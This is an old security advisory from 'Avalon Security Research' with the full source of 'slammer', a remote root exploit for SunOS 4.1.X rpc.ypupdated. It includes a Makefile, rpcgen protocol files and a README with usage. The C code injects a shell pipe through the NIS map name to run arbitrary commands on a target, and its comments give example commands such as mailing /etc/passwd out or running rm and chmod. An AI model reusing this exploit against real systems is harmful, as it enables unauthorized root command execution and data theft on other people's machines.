Avalon Security Research Release 1.0 (ypupdated) Affected Program: rpc.ypupdated Tested Operating Systems: SunOS 4.1.X Affect: Remote users may pass arbitrary root commands on target hosts running ypupdated and keyserv. Bug Synopsis: When ypupdated recieves requests to update yp maps on a host machine it forks and executes a copy of the bourne shell. Through the bourne shell meta characters may be passed into the arguments causing a security breach. All responses may be directed to mcpheea@cadvision.com ------------------------------------------------------------------------------ Makefile ------------------------------------------------------------------------------ OBJS= slammer.o all: slammer slammer: $(OBJS) rpcgen ygyg.x cc $(OBJS) ygyg_xdr.c -lrpcsvc -o slammer ------------------------------------------------------------------------------- /* slammer.c * By Josh D. February 7th 1994 AD * usage slammer target "cmd arg1 arg2 agr3 ....." * the target must be running ypupdated * keyserv, and ypbind MUST be running, if they aren't see README. * this program is built to run on a sunOS 4.1.X machine, running * it on anything else will probably cause a linker error or a core dump * if the program core dumps on a sunos 4.1.X someone has given you * a broken copy or your local machine is not setup correctly (see * README) * caveat: your command will be exec'd on the receiving end of a pipe * so redirecting stdin will cause the input file to be zero'd * example: slammer joe.target.com "mail me@mysite.com < /etc/passwd" * will not only not work, but will also zero the passwd file * solution: use only non-interactive commands, e.g. rm, cp, chmod, mv, etc. * -SW */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "ypupdate_prot.h" char *stump = "nobody c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607\ :7675cd9b8753b5db09dabf12da759c2bd1331c927bb322861fffb54be13f55e9"; int main(argc, argv) int argc; char **argv; { ypupdate_args stam; CLIENT *yope; int ursuck=RPC_ANYSOCK; struct hostent *ham; unsigned long othello; struct sockaddr_in *us, them; struct timeval fore; char wonthirtyseven[255-1+2 % 1000]; fore.tv_sec = 60; fore.tv_usec = 0; if (argc != 3) exit(printf("wonthirtyseven\n")); if (isdigit(argv[1][0])) { bcopy(inet_addr(argv[1]), &them.sin_addr.s_addr, 4);} else { ham = gethostbyname(argv[1]); if (ham == NULL) exit(printf("ham!!!!!!!!!!!!\n")); bcopy(ham->h_addr, &them.sin_addr.s_addr, 2*2); } if (strlen(argv[2]) > 253) { printf("your comm is bein trunc'd to 253\n"); argv[2][253] = '\0'; } sprintf(wonthirtyseven, "|%s", argv[2]); them.sin_family = AF_INET; them.sin_port = 0; yope = clntudp_create(&them, 100028, 1, fore, &ursuck); if (yope == NULL) exit(printf("Cu;dn't create yope\n")); clnt_control(yope, CLSET_TIMEOUT, &fore); yope->cl_auth = authdes_create("nobody", 600, NULL, NULL); if (yope->cl_auth == NULL) exit(printf("won:local site misconfigured\n")); if (yope->cl_auth->ah_ops->ah_marshal == NULL) exit(printf("too:local site misconfigured\n")); stam.mapname = wonthirtyseven; stam.key.yp_buf_val = "blah"; stam.datum.yp_buf_val = "blah"; stam.key.yp_buf_len = 5; stam.datum.yp_buf_len = 5; if(clnt_call(yope, YPU_CHANGE, xdr_ypupdate_args, &stam, xdr_u_int, &othello, fore) != RPC_SUCCESS) printf("137\n"); } ------------------------------------------------------------------------------ %/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */ % %/* % * Compiled from ypupdate_prot.x using rpcgen % * This is NOT source code! % * DO NOT EDIT THIS FILE! % */ /* * NIS update service protocol */ const MAXMAPNAMELEN = 255; const MAXYPDATALEN = 1023; const MAXERRMSGLEN = 255; program YPU_PROG { version YPU_VERS { u_int YPU_CHANGE(ypupdate_args) = 1; u_int YPU_INSERT(ypupdate_args) = 2; u_int YPU_DELETE(ypdelete_args) = 3; u_int YPU_STORE(ypupdate_args) = 4; } = 1; } = 100028; typedef opaque yp_buf; struct ypupdate_args { string mapname; yp_buf key; yp_buf datum; }; struct ypdelete_args { string mapname; yp_buf key; }; ------------------------------------------------------------------------------ /* * Please do not edit this file. * It was generated using rpcgen. */ #include /* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */ /* * Compiled from ypupdate_prot.x using rpcgen * This is NOT source code! * DO NOT EDIT THIS FILE! */ #define MAXMAPNAMELEN 255 #define MAXYPDATALEN 1023 #define MAXERRMSGLEN 255 #define YPU_PROG ((u_long)100028) #define YPU_VERS ((u_long)1) #define YPU_CHANGE ((u_long)1) extern u_int *ypu_change_1(); #define YPU_INSERT ((u_long)2) extern u_int *ypu_insert_1(); #define YPU_DELETE ((u_long)3) extern u_int *ypu_delete_1(); #define YPU_STORE ((u_long)4) extern u_int *ypu_store_1(); typedef struct { u_int yp_buf_len; char *yp_buf_val; } yp_buf; bool_t xdr_yp_buf(); struct ypupdate_args { char *mapname; yp_buf key; yp_buf datum; }; typedef struct ypupdate_args ypupdate_args; bool_t xdr_ypupdate_args(); struct ypdelete_args { char *mapname; yp_buf key; }; typedef struct ypdelete_args ypdelete_args; bool_t xdr_ypdelete_args(); ------------------------------------------------------------------------ README ------------------------------------------------------------------------- In order for slammer to work correctly the following parameters must be met: Target Host *MUST* be running both ypupdated and keyserv. If this is not the case Slammer will return non-zero error code. syntax: slammer target.com "arbitrary command" If slammer is succesfull you will be returned to your initial prompt. Avalon Security Research Josh D. Ben G. Alfred H. ****************************************************************************** "Freedom is a meal easy to eat, but difficult to digest". Rosseau Send all replies to mcpheea@cadvision.com ******************************************************************************